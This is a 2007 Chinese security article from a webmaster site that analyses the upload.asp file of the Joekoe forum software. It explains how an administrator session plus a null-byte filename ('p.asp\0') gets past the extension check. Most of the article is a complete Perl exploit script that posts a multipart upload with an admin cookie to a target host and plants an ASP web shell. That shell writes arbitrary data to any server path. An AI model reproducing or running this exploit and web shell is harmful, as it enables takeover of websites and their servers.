站长中国
设为首页 | 站长论坛

站长论坛 站长下载
您所在的位置: 站长中国 > 站长学院 > 安全技术 > 其他相关 >  正文

乔客论坛upload.asp 文件简单分析
  2007年10月15日03:55:21  评论(0条) 字体:[ ]
相关热点:

作者:xiaolu      来自:http://666w.com 

前言:昨天看黑防网站看到黑防第8期上有篇文章《乔客论坛惊爆UPfile严重漏洞》,无奈阿,我这里买不到黑防,只能自己分析分析看看,以下是针对乔客整站程序免费6.6版。
    先看upload.asp代码:

 

<%
dim formname,upload_path,upload_type,upload_size,uup
uup="|article|down|forum|gallery|news|other|product|video|website|"




  up_name=trim(upload.form("up_name"))
  up_text=trim(upload.form("up_text"))
  up_path=trim(upload.form("up_path"))
  if session("joekoe_online_admin")<>"joekoe_admin" and len(up_name)>2 then up_name=""
  if len(up_name)<3 then up_name=up_name&upload_time(now_time)
  if int(instr(uup,"|"&up_path&"|"))=0 then up_path="other"
  if len(up_path)<3 then up_path="other"
  uppath=up_path
  if right(upload_path,1)<>"/" then upload_path=upload_path&"/"
  up_path=server.mappath(upload_path&up_path)


      upfile_name=Right(upfilename,(len(upfilename)-Instr(upfilename,".")))
      upfile_name=lcase(upfile_name)
      if instr(","&upload_type&",",","&upfile_name&",")>0 then
        upfile_name2=upfile_name
        upfile_name=up_name&"."&upfile_name
        upfile.SaveAs up_path&upfile_name


      else
        uptemp="<font class=red_2>上传失败</font>:文件类型只能为:"&replace(upload_type,"|","、")&"等格式) "&go_back
      end if


 

看几个提交的变量,up_name,up_path,up_text,upfile_name。先看up_path 部分,也就是这里:
if int(instr(uup,"|"&up_path&"|"))=0 then up_path="other"
只要up_path的值不包含在uup 里边也就是:
article,down,forum,gallery,news,other,product,video,website
里边up_path就变成了other目录了,这里我们没有用武之地。再看upfile_name,也就是文件扩展名:
upfile_name=Right(upfilename,(len(upfilename)-Instr(upfilename,".")))
他这个过滤的比较严格,甚至于文件名里边只能有一个.符号,如果文件名是asp.asp.gif也被认为非法,因为他是从第一个.号开始截取到末尾的,放弃这个。代码里很明显up_text对我们来说无用。只剩up_name这个了:

 

  if session("joekoe_online_admin")<>"joekoe_admin" and len(up_name)>2 then up_name=""
  if len(up_name)<3 then up_name=up_name&upload_time(now_time)

 

如果我们不是用管理员身份登陆过后台,也就是session("joekoe_online_admin")<>"joekoe_admin",只要up_name长度达于2,up_name就成了空值,郁闷,不过当session("joekoe_online_admin")="joekoe_admin",我们可以利用,利用程序如下(cookie需要admin的):

 

#!/usr/bin/perl
$| = 1;
use Socket;
$host = "10.0.0.1";
$port = "80";
$str =
"-----------------------------7d41869a401aa\r\n".
"Content-Disposition: form-data; name=\"up_path\"\r\n".
"\r\n".
"gallery\r\n".
"-----------------------------7d41869a401aa\r\n".
"Content-Disposition: form-data; name=\"up_name\"\r\n".
"\r\n".
"p.asp\0\r\n".
"-----------------------------7d41869a401aa\r\n".
"Content-Disposition: form-data; name=\"up_text\"\r\n".
"\r\n".
"spic\r\n".
"-----------------------------7d41869a401aa\r\n".
"Content-Disposition: form-data; name=\"file_name1\"; filename=\"F:\\tools\\sql\\getwebs\\p.gif\"\r\n".
"Content-Type: text/plain\r\n".
"\r\n".
"<%dim objFSO%>\r\n".
"<%dim fdata%>\r\n".
"<%dim objCountFile%>\r\n".
"<%on error resume next%>\r\n".
"<%Set objFSO = Server.CreateObject(\"Scripting.FileSystemObject\")%>\r\n".
"<%if Trim(request(\"syfdpath\"))<>\"\" then%>\r\n".
"<%fdata = request(\"cyfddata\")%>\r\n".
"<%Set objCountFile=objFSO.CreateTextFile(request(\"syfdpath\"),True)%>\r\n".
"<%objCountFile.Write fdata%>\r\n".
"<%if err =0 then%>\r\n".
"<%response.write \"<font color=red>save Success!</font>\"%>\r\n".
"<%else%>\r\n".
"<%response.write \"<font color=red>Save UnSuccess!</font>\"%>\r\n".
"<%end if%>\r\n".
"<%err.clear%>\r\n".
"<%end if%>\r\n".
"<%objCountFile.Close%>\r\n".
"<%Set objCountFile=Nothing%>\r\n".
"<%Set objFSO = Nothing%>\r\n".
"<%=server.mappath(Request.ServerVariables(\"SCRIPT_NAME\"))%>\r\n".
"-----------------------------7d41869a401aa\r\n".
"Content-Disposition: form-data; name=\"submit\"\r\n".
"\r\n".
"点击上传\r\n".
"-----------------------------7d41869a401aa\r\n".
"\r\n";
print $str;
$len=length($str);

$req ="POST /jj/upload.asp?action=upfile HTTP/1.0\r\n".
#"Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/msword, */*\r\n".
"Referer: http://10.0.0.1/jj/upload.asp?uppath=gallery&upname=gs200483164242&uptext=spic\r\n".
#"Accept-Language: zh-cn\r\n".
"Content-Type: multipart/form-data; boundary=---------------------------7d41869a401aa\r\n".
#"Accept-Encoding: gzip, deflate\r\n".
#"User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; (R1 1.5); .NET CLR 1.1.4322)\r\n".
"Host: 10.0.0.1\r\n".
"Content-Length: $len\r\n".
#"Connection: Keep-Alive\r\n".
#"Cache-Control: no-cache\r\n".
"Cookie: ASPSESSIONIDQAQQRCTQ=DOKDHBIALDIDGJFJMCMMIBFJ; joekoe%5Fonline=login%5Fpassword=dd15f89d35c36afb&guest%5Fname=&login%5Fusername=joekoe&counters=yes\r\n".
"\r\n".
"$str";
print $req;
@res = sendraw($req);
print @res;


#Hmm...Maybe you can send it by other way

 

sub sendraw {
    my ($req) = @_;
    my $target;
    $target = inet_aton($host) || die("inet_aton problems\n");
    socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || die("Socket problems\n");
    if(connect(S,pack "SnA4x8",2,$port,$target)){
        select(S);
    $| = 1;
        print $req;
    my @res = <S>;
        select(STDOUT);
    close(S);
        return @res;
    }
    else {
    die("Can't connect...\n");
    }
}

 

 

 

后记:极度郁闷中。。。。。。。,谁能把黑防的文章给偶看看?

 


责任编辑:

收藏本文 打印 打印本文  推荐本文 告诉好友 投稿 投稿邮箱
    评论加载中…

站长排行

学院

新闻

专栏

盈利

[揭密网络黄链]中国留学生买凶专破日本
JSP语法(6)
超强弹出窗口代码,什么都挡不住
FLASH视觉特效实例之地震效果
贴吧发帖机使用教程(绝对原创)
关于数据分页(转自www.codeproject.co
ASP实现文件直接下载
Photoshop制作光感超酷效果水晶球
 遍历ASP.NET页面控件
永远的后门[经典]+查不出的后门
淘宝网卖家公然叫卖“艳照门”照片集
驳《百度Hi面世对腾讯有利》
Google绿色专家质疑黑色背景网页节省资
国内各IT企业办公环境揭秘(多图)
阿里妈妈广告卖主全攻略
站长创业源动力 主流站长站赏析
推荐阅读:80年小子的创业道理
Discuz!6.0猛将出击 最强论坛程序酷炫
我的网络,我的团队:专访李文明
百度新闻频道改版十天 流量止跌反弹翻
ECSHOP模板制作参考文档
悬挂阿里妈妈会否被百度惩罚
阿里妈妈是否是中小站长的救世主?
最强网店ECShop发新版 众多酷炫功能给
ECSHOP模板下载
土豆网,优酷网,爆米花等视频网站采集
DedeCms模板安装/制作概述
网上商店系统巅峰对决 ECShop vs ShopE
艰难的走在创业的路上 第一天
编程中国全站采集规则
性福联盟 一个不尊重站长的联盟
大脚:日赚100元—揭露最新firefox欺骗
大脚:垃圾站超级赚钱法之二—突破“站
大脚:垃圾站超级赚钱法之——前言
迅雷联盟、快车联盟收入对比
经理人必看的十个管理网站
Google Adsense的秘密 第二版
西联汇款兑付城市查询
不用SEO取得成功的10个步骤
关于做GOOGLE的五条经验
站长学院  网页设计 建站教程 图形图象 网络编程

Photoshop CS3
Photoshop CS3
不用Photoshop
不用Photoshop

DIV+CSS的开发方式 听听另外的
虚拟主机建站动易里快速生成的
VBScript特效代码 满屏幕乱跑
牛气!一个菜鸟站长的超强网站
创建、维护一个个人博客的“投
让网站流量稳步飙升的秘籍
网站推广的基本思想

新闻线索

如果你有站长界人事变动、重组并购、变革技术出现,以及产品投诉等重要新闻线索,请告诉我们,我们会给予特别关注。
0631-3653338
站长中国编辑部
站长中国24小时新闻热线: 13256307008